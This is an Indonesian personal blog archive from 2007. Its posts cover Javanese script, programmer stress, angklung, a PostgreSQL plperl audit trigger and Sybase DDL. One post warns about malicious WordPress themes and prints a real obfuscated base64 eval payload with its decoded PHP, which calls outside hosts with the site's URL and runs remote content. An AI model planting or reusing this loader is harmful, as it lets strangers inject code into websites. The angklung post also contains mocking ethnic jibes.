Thursday, December 6, 2007

Ha Na Ca Ra Ka, Huruf Jawa: Riwayatmu Kini

Wihartoyo     Thursday, December 06, 2007    
Ha na ca ra ka; hana caraka; ada utusan. Ah kemanakah para utusan itu sekarang?
Sesekali aku jalan-jalan ke blog orang-orang dari wilayah-wilayah asia semacem Thailand, Champa (Khmer); ada yang tiba tiba menyeruak dari kedalaman jiwaku. Dari kedalaman jiwa seorang Jawa. Hari ini aku sudah tidak bisa lagi membaca rangkaian kalimat yang tersusun dari huruf-huruf milik kami, orang jawa.

Dulu, ketika aku masih duduk di bangku sekolah dasar, pak guru dan ibu guruku begitu rajinnya mengajarkan aku membaca dan menulis huruf jawa. Sampai kemudian aku pun bisa menuliskannya dengan lancar. Membacanya pun aku tidak ada halangan. Bahkan sampai aksara murda sekalipun. Tapi kini aku seperti menjadi orang lain ketika harus membaca tulisan-tulisan itu.

Hari ini, ketika aku tidak mampu lagi membaca hurufku. Aku mencoba untuk menelusuri di internet tentang huruf-huruf jawa. Aku dapat salah satunya di http://en.wikipedia.org/wiki/Javanese_script , kemudian dari sini aku mendapatkan http://www.omniglot.com/writing/javanese.htm , dan dari sini aku mendapatkan http://www.joglosemar.co.id/hanacaraka/hanacaraka.html. Cukup banyak, tapi yang cukup berkesan adalah ketika aku bertanya sama paman google, aku selain mendapatkan yang di wiki tadi, aku juga dapet http://www.ancientscripts.com/javanese.html. Kenapa begitu menarik? Sangat menarik karena di halaman ini disebutkan bahwa hana caraka masih dipakai sampai saat ini. Ya memang, tapi itu hanya sebatas untuk nama jalan, beberapa papan nama, nama bis kota di beberapa wilayah seperti Yogya dan Solo. Apakah pak dan bu guru mengajari huruf ini dulu cuma agar kita bisa menulis nama jalan, nama bis dan papan nama menggunakan huruf jawa?

Aku ngiri sama orang Khmer, orang Thai. Mereka masih punya identitas dengan menggunakan alat berkomunikasi yang diciptakan oleh nenek moyang mereka. Mereka masih bisa menggunakan huruf-huruf yang mereka warisi dari nenek moyang mereka. Dan di saat yang sama mereka masih mampu pula berkomunikasi dengan alat yang mereka pinjam dari bangsa asing. Mereka bisa memakai huruf latin. Semetara aku hanya bisa berhadapan dengan huruf warisan moyangku persis seperti saat aku berhadapan dengan benda-benda fisik yang bergeletakan di ruangan-ruangan musium.

Ah, huruf jawa, maafkan aku yang menyayangimu tetapi juga telah melupakanmu.

Thursday, November 29, 2007

8 Jalur Pemerataan Programmer Biar Tet

Wihartoyo     Thursday, November 29, 2007    

Terjemahan dan rangkuman bebas dari "8 Ways For A Programmer To Stay Sane" tulisan yang dimuat di Javaloby.com newsletter tanggal 28 nov 2007.

Sebagai programmer memang sering seseorang akan merasa bangga ketika karyanya bisa terwujud dan termanfaatkan artinya lagi menghasilkan. Tetapi, sebagai seorang progarmmer pula orang sering merasa sutris. Apalagi kalo ketemu bermacem-macem permintaan yang kadang-kadang aneh dan gak masuk akal. Dari yang macem gini penghargaan yang tinggi sebagai seorang programmer misih belum cukup buat bisa memberikan keseimbangan mental agar tetep bisa dikategorikan waras. Apalagi cuma sekedar cukup atau bahkan kurang. Nah lo... Jadi untuk menghindari hal-hal buruk yang mungkin bisa menghinggapi seorang programmer perlu tahu hal-hal yang bisa menjadi penyeimbang.

Tahu Kapan Harus Keluar (rehat)

Programmer adalah jenis manusia yang obsesif, seneng sama yang detil, keukeh dan bakal frustasi kalo gak bisa memecahkan permasalahan (dalam koding tentunya). Dia akan kejar terus apapun yang masih ngegantung di otaknya. Ini kurang baik, seharusnya dia bisa meluangkan waktu barang sebentar. Keluar, jalan-jalan, jernihkan pikiran. Baru kembali ke meja kerja setelah merasa tenang.

Pakailah Waktu Makan Siang

Seringkali seorang programmer lebih suka membawa makan siangnya ke meja kerjanya. Sambil ngecek website kesukaannya, tanpa dia sadari ada customer yang tahu atau mungkin nggak sengaja tahu ada orang di dalam kantor, akhirnya telpon berdering krang-kring-krang-kring. Mau gak mau kan jadi kudu ngangkat telpon. Akhirnya justeru dia gak punya waktu buat dirinya sendiri. Ah kasian deh lu..., makanya keluar aja buat makan siang.

...Tapi Makanlah yang Sehat

Makanlah makanan yang sehat, sebab makanan yang sehat akan mampu menjaga tubuh tetap sehat. Dan dengan tubuh yang sehat, pikiran juga jadi tetap sehat. Makan makanan yang kurang sehat bikin kita jadi juga letoy dan tentunya nggak bergairah saat ngode...

Abaikan Komputer yang Ada di Rumah

Seorang programmer, entah karena hobi atau entah yang lain, seringkali masih terus bekerja dengan komputernya di rumah. Ini sebenarnya kurang baik. Pekerjaan yang ada di rumah masih bisa dikerjakan lain waktu kan? Seringkali frustasi karena pekerjaan di rumah lebih menekan daripada pekerjaan di kantor. Oleh karena itu hindarilah sering-sering mengerjakan perkerjaan programming pribadi di rumah.

Lakukan Pekerjaan non Teknikal

Orang yang pekerjaannya programming dan programming lagi akan sering kehilangan topik selain komputer. Untuk itu mempunyai hobi selain komputer akan bisa menjaga kita tetap tajam/lantip. Sekali-kali tinggalkan dunia pemrograman untuk sementara. Bacalah buku-buku di luar pemrograman, macem buku mancing, nanem kembang kek apa. Yang penting bukan programming.

Luangkan Waktu Bersama Teman

Programmer juga manusia, dia butuh bersosialisasi. Jadi keluarlah, ngobrol-ngobrol tatap muka sama teman penting. IM bukan cara yang dianjurkan.

Ambil Cuti

Kalo pekerjaan nyatanya sudah terlalu membosankan, jangan takut untuk ambil cuti. Berliburlah ke tempat-tempat yang exotic. Ini akan membantu untuk benar-benar lepas dari kejenuhan terhadap pekerjaan yang bener-bener sudah sampai taraf menyebalkan.

Sadari jika Programming bukan Pekerjaan yang Tepat

Jika seseorang programmer sudah sampai pada taraf tak terkendali tingkat stresnya sehingga tidak mampu lagi menjalankan fungsinya, segera sadari bahwa programming bukan hal yang tepat bgi dia. Masih banyak pekerjaan di luar sana yang mungkin justeru lebih baik buatnya. (cuma yang ini emang agak susah sih buat kondisi di indoesa, ha ha ha…..)


Wednesday, November 28, 2007

Bener gak sih Wordpress lagi di uji sama hacker?

Wihartoyo     Wednesday, November 28, 2007    
Buat para blogger yang nongkrong di wordpress kayaknya harus hati2 kalo pengin ngubah tampilan dengan mendonlot theme dari 3rd party. Karena satu kasus sudah terbuka yang diuraikan sama http://5thirtyone.com/archives/870
jadi ternyata, kalo gak salah ngerti, theme wordpress tuh masih memungkinkan menjalankan script php (server side script), dan si hacker memanfaatkan base64_encode untuk mengelabui user sehingga script bikinan dia akan terencode dalam algoritma base64 kemudian dia ambil hasil encodenya ntuh ke theme hasil bikinan dia. Dan di theme nya itu dia menjalankan yang sebaliknya (base64_decode) dan dengan memanfaatkan function @eval dia mengeksekusi scriptnya. He he he, pintar dia.

Ini diambil dari : http://codescout.org/2007/11/17/audit-those-3rd-party-themes-and-plugins-before-enabling-them/

@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R\
kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0M\
DYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid\
3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9I\
EBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFM\
kZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFM\
ywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiO\
yBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyI\
jsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpO\
yBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0K\
CdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFN\
jA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgP\
SAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvb\
S93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVyb\
GVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZ\
W5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFN\
kM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M\
0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDN\
zM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEO\
UU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExN\
SA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY\
29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd\
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c\
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN\
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R\
kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));


ternyata hasil decode nya adalah :

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com"\
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, \
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";
}
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com"\
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, \
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";
}
else {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
}
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);
if($R14AF1BE9EE26A90921E64A82E7836797 AND \
ini_get('allow_url_fopen')) {
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "1");
$R6E4F14B335243BE656C65E3ED9E1B115 = \
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". \
urlencode($_SERVER['REQUEST_URI']) ."&". "host=". \
urlencode($_SERVER['HTTP_HOST']);
$R3E33E017CD76B9B7E6C7364FB91E2E90 = \
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);
}
else
{
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "0");
$R6E4F14B335243BE656C65E3ED9E1B115 = \
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". \
urlencode($_SERVER['REQUEST_URI']) ."&". \
"host=". urlencode($_SERVER['HTTP_HOST']);
readfile($R6E4F14B335243BE656C65E3ED9E1B115);
}
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);


entah apapun yang dilakukan sama ni orang, tapi sepertinya dia mau mbuka koneksi ke wpssr.com pada port 80, jika dia berhasil maka dia akan mengasign satu variable dengan nilai "wpssr", kalo gagal dia akan mencoba ke "wpsnc", kalo gagal dia akan coba ke "wpsnc2". Kemudian dia akan mengambil environment variable buat ngecek apakah script memungkinkan untuk memanfaatkan url_fopen untuk handle file. Jika bisa dia akan menjalankan function @file_get_content kalo gak maka dia akan make readfile. Jika diuraikan url yang dia baca mungkin akan menjadi sebagai berikut (jika dia bisa berkomunikasi dengan wpssr): http://www.wpssr.com/w1.php?url=[file terbuka saat ini]&host=[host kita]. Kita memang tidak tahu apa yang dia lakukan, tapi adalah hal yang sangat berbahaya untuk membiarkan script liar jalan di server kita.

bacan lengkapnya:

Tuesday, November 27, 2007

Kita tunggu nasib angklung

Wihartoyo     Tuesday, November 27, 2007    
Alat musik angklung akhir-akhir ini sedang naik daun oleh karena ada nya perebutan kepemilikan antara Malaysia dan Indonesia. Sebenarnya alat musik yang terdiri dari bilah bambu ini di Indonesia sendiri ada 2 variant. Variant pertama yang berkembang di daerah banyumas Jawa Tengah dan varian kedua adalah yang berkembang di tatar pasundan. Variant pertama bilah-bilah bambu itu ditata selayaknya gambang dan untuk menghasilkan bunyi harus ditabuh. Variant pertama ini juga punya variasi lain, yakni ditata berdiri. Cuma untuk menghasilkan bunyi tetap barus ditabuh. Orang setempat menyebutnya calung. Sedangkan variant kedua, secara umum orang sudah tahu bentuknya. Dia ditata dalam satu kerangka, dan bambu-bambu ditata secara menggantung. Untuk menghasilkan bunyi, angklung itu digoyang-goyangkan sehingga bilah-blah itu akan berbenturan.
Mungkin orang malaysia nggak begitu suka sama variant pertama yang berkembang di banyumas, karena yang ini secara international kurang begitu terkenal.
Ha ha ha, sekali lagi karena kemalasannya mereka lebih suka mengambil yang kedua. Yang udah terkenal gitu. Jadi gak perlu susah-sudah memperkenalkan kepada dunia. Paling usaha yang diperlukan cuma "koreksi bahwa angklung memang aseli malaysia". Ah dasar malassya.

Beratus tahun lalu nenek moyang orang sunda telah memakai angklung sebagai korps musik ketika melakukan perang bubat melawan majapahit. Beberapa tahun lalu orang malassya datang ke Bandung untuk belajar angklung. Beberapa tahun lalu pula malassya gemar impor angklung dari tatar pasundan. Hari ini, setalah beberap gelintir dari mereka merasa mampu memainkan angklung mereka merasa angklung milik mereka. Ah betapa tak tahu dirinya mereka.

Monday, November 26, 2007

PostgreSQL Trigger Audit..

Wihartoyo     Monday, November 26, 2007    
PostgreSQL adalah salah satu dan mungkin sampai saat ini adalah satu-satunya opensource database dengan fitur yang sangat lengkap. Salah satu kelengkapan fitur yang 'ngedab-edabi' adalah procedural language nya yang mendukung banyak bahasa, mulai dari pl milik postgreSQL sendiri, c, java, bahkan perl. Disamping tentunya SQL.

Dengan dukungan salah satu bahasa yang dipakai dalam precedural language nya, 'plperl', saya ingin berurun rembug dalam menyusun satu trigger yang akan merekam setiap transaksi yang dilakukan oleh user applikasi. Rekaman ini akan meliputi semua table yang ada di dalam database dan, tentunya, terinstall trigger, sebut saja trigger audit.

Trigger audit yang saya susun ini memerlukan kehadiran skema yang kita rancang sendiri untuk menampung rekaman aktifitas dan system object yang akan kita pakai untuk antara-lain mengidentifikasikan nama kolom dan nama table.

Table yang harus kita siapkan meliputi:

publication_dtl yang akan merekam seluruh aktifitas user (insert, delete, update)
publication_list adalah list lokasi mana aja suatu rekaman bakal di publish
subscriber_list adalah list subscriber yang mendeskripsikan suatu subscriber mensubsribe publication mana saja.
subscription_activity adalah list status aktivitas subscriber terhadap yang dia subscribe.
event_list optional, list yang berisi kode dan nama event. Di sini 1 adalah insert 2 adalah delete dan 3 adalah update.

DDL:

CREATE TABLE her.publication_dtl(action_time timestamp without time zone NOT NULL DEFAULT now(),table_id bigint NOT NULL,trans_id bigint NOT NULL DEFAULT nextval('publication_dtl_trans_id_seq'::regclass),no_urut bigint NOT NULL,column_name character varying(255),ispkey integer NOT NULL,nodeid bigint NOT NULL,col_type character varying(15),event_id bigint,old_value text,new_value text,isreplayed boolean,session_user_addr character varying(255) NOT NULL DEFAULT ((("session_user"())::text || '@'::text) || (inet_client_addr())::text),CONSTRAINT pk_subd PRIMARY KEY (trans_id),CONSTRAINT fk_evtd FOREIGN KEY (event_id)REFERENCES her.event_list (event_id) MATCH SIMPLEON UPDATE NO ACTION ON DELETE NO ACTION)WITHOUT OIDS;ALTER TABLE her.publication_dtl OWNER TO somuser;
CREATE UNIQUE INDEX action_timeON her.publication_dtlUSING btree(action_time, table_id, trans_id);
CREATE INDEX idx_pub_tbl_idON her.publication_dtlUSING btree(table_id);
CREATE INDEX idx_pub_tbl_id2ON her.publication_dtlUSING btree(table_id);ALTER TABLE her.publication_dtl CLUSTER ON idx_pub_tbl_id2;
CREATE TABLE her.publication_list(publication_id integer NOT NULL,publication_name character varying(255) NOT NULL,CONSTRAINT pk_pubnamelist PRIMARY KEY (publication_id))WITHOUT OIDS;ALTER TABLE her.publication_list OWNER TO somuser;
CREATE TABLE her.subscriber_list
(subscriber_id bigint NOT NULL,publication_id bigint NOT NULL,subscriber_name character varying(255) NOT NULL,CONSTRAINT pk_subscriber_list PRIMARY KEY (subscriber_id, publication_id))WITHOUT OIDS;ALTER TABLE her.subscriber_list OWNER TO somuser;
CREATE TABLE her.subscription_activity(subscriber_id bigint NOT NULL,publication_id bigint NOT NULL,trans_id bigint NOT NULL,replay_stat boolean NOT NULL DEFAULT false,CONSTRAINT pk_subscriber_activity PRIMARY KEY (subscriber_id, publication_id, trans_id),CONSTRAINT fk_subsciber_publication FOREIGN KEY (trans_id)REFERENCES her.publication_dtl (trans_id) MATCH SIMPLEON UPDATE NO ACTION ON DELETE NO ACTION,CONSTRAINT fk_subscriber_activity_subscriber FOREIGN KEY (subscriber_id,publication_id)REFERENCES her.subscriber_list (subscriber_id, publication_id) MATCH SIMPLEON UPDATE NO ACTION ON DELETE NO ACTION)WITHOUT OIDS;ALTER TABLE her.subscription_activity OWNER TO somuser;
Tadi aku sebutin bahwa kita butuh system object. Nah di sini system object yang kita butuhin adalah:

information_schema.key_column_usage dan pg_constraint yang bakal kita gunakan untuk mengidentifikasikan apakah suatu kolom itu masuk key column apa nggak
pg_attribute dan pg_type untuk menentukan nama kolom dan type data dari kolom berdasar suatu relationid (relid) yang bisa ditangkap saat trigger dijalankan.

Selain itu kita juga membutuhkan satu view bentukan yang akan memudahkan kita membaca informasi suatu table yang sedang dimainin sama user. View ini adalah sebagai berikut:

CREATE OR REPLACE VIEW her.constraint_list AS
SELECT a.constraint_schema, a.constraint_name, a.table_name, a.column_name, b.conname, b.contype
FROM information_schema.key_column_usage a, pg_constraint b
WHERE a.constraint_name::name = b.conname;

ALTER TABLE her.constraint_list OWNER TO someuser;

Nah kalo semua udah disiapkan maka kita bisa bentuk trigger yang akan kita pekerjakan untuk mencatat semua aktifitas insert/delete/update. Nah berikut ini adalah list trigger itu:

CREATE OR REPLACE FUNCTION her.ufp_audit_t()RETURNS "trigger" AS$BODY$my %hist = %{$_TD->{new}};my $stype;my $query;my $rv;my $urt;my $nodeid;my $ispkey;my $eventid;my $olds;my $newv;$urt = 1;if ($_TD->{event} eq 'INSERT'){ $eventid = 1;}elsif($_TD->{event} eq 'DELETE'){ $eventid = 2; %hist = %{$_TD->{old}};}elsif($_TD->{event} eq 'UPDATE'){ $eventid = 3;};$rv = spi_exec_query('select publication_id as node_id from her.publication_list',1);$nodeid = $rv->{rows}[0]->{node_id};while (($key,$value) = each %hist){ $query = 'select a.attname,b.typname,b.typowner from pg_attribute a,pg_type b where a.atttypid = b.oid and a.attname =\'' .$key.'\' and a.attrelid = '.$_TD->{relid}; $rv = spi_exec_query($query,1); $stype = $rv->{rows}[0]->{typname}; $query = 'select constraint_name from her.constraint_list where table_name = \''.$_TD->{relname}.'\' and column_name = \''.$key.'\'';
$rv = spi_exec_query($query,1); if ($rv->{processed}>0) { $ispkey = 1; }else{ $ispkey = 0; } $olds = $_TD->{old}{$key}; $newv = $_TD->{new}{$key}; $olds =~ s/\'/\'\'/g; $newv =~ s/\'/\'\'/g; $olds =~ s/\\/\\\\/g; $newv =~ s/\\/\\\\/g; if ( ( $olds != $newv ) || ( $olds ne $newv ) || ($key eq 'user_id') || ($ispkey == 1)) { $query = 'insert into her.publication_dtl(table_id,no_urut,column_name,ispkey,nodeid,col_type,event_id,old_value,new_value,isReplayed)values('.$_TD->{relid}.','.$urt.',\''.$key.'\','.$ispkey.','.$nodeid.',\''.$stype.'\','.$eventid.',\''.$olds.'\',\''.$newv.'\',FALSE)';
$rv = spi_exec_query($query);
}
$urt++;}return;# 'SKIP';$BODY$LANGUAGE 'plperl' VOLATILE;ALTER FUNCTION her.ufp_audit_t() OWNER TO somuser;

Kemudian untuk mendeploy trigger ini ke semua table kita gunakan function ini:

CREATE OR REPLACE FUNCTION her.update_traudit()
RETURNS void AS
$BODY$
my $rv = spi_exec_query('select table_name from her.artikellist');
my $nrows = $rv->{processed};
if ($nrows > 0) {
foreach my $rn (0 .. $nrows - 1){
my $row = $rv->{rows}[$rn];
my $tbl = $row->{table_name};
my $trl = "select * from pg_trigger where tgname ='tr_".$tbl."_au'";
my $rv = spi_exec_query($trl);
my $rrows = $rv->{processed};
if($rrows > 0 ){
my $drtr = 'DROP TRIGGER tr_'.$tbl.'_au ON '.$tbl;
my $rvv = spi_exec_query($drtr);
}
my $qry = 'CREATE TRIGGER tr_'.$tbl.'_au
BEFORE INSERT OR UPDATE OR DELETE ON '.$tbl.'
FOR EACH ROW
EXECUTE PROCEDURE her.ufp_audit_t()';
elog(INFO,$qry);
my $rv2 = spi_exec_query($qry);
}
}
$BODY$
LANGUAGE 'plperl' VOLATILE;
ALTER FUNCTION her.update_traudit() OWNER TO someuser;



Kalo diperhatiin maka nama-nama object bikinan tadi macem buat bikin replikasi. He he he, emang iya. Itu skema semua aku siapin buat replikasi tapi karena waktu gak ada ya udah buat audit aja. OK dah dulu ya..., Kelanjutan ceritanya bisa akupost nanti-nanti aja ya...


Monday, September 3, 2007

Null Allowed dan PK di Sybase ASE

Wihartoyo     Monday, September 03, 2007    
Ha ha ha ha...
Setelah nginep (eh nginep nggak dong la wong gak tidur) semaleman buat migrasi data, aku dapet PR baru. Menyempurnakan tool yang aku bikin. Ya harus disempurnakan la wong jalannya masih geyal-geyol. Hi hi hi hi.
Hari ini, aku mencoba untuk membuat satu routine buat mengekstrak DDL bukan lewat tool yang dah ada dari Sybase, tapi murni bikinanku sendiri. Setelah tengok sana tengok sini make matanya Oom Google, akhirnya bisa terbentuk juga query dasar buat ekstrak DDL. Tapi masalah kemudian adalah menentukan suatu kolom masuk ke PK dan kemudian apakah suatu kolom itu nullallowed. Ternyata kunci untuk masuk ke PK ada di system table yang namanya 'sysindexes' dan untuk null allowed karena mengacu ke kolom ada di syscolumns. Check ini ada di kolom status dari syscolumns. Kondisi untuk check adalah 'status & 8' jika menhasilkan lebih besar dari 0 maka dia null allowed jika sama dengan 0 maka dia not null. Kemudian untuk masuk ke pk atau tidak checknya adalah kolom status di sysindexes dengan kondisi 'status & 2048'. Jika dia 2048 dan status2 & 2 = 2 maka primary key.
Cuma untuk check primary key tidak bisa dimasukkan dalam satu query.

Recommended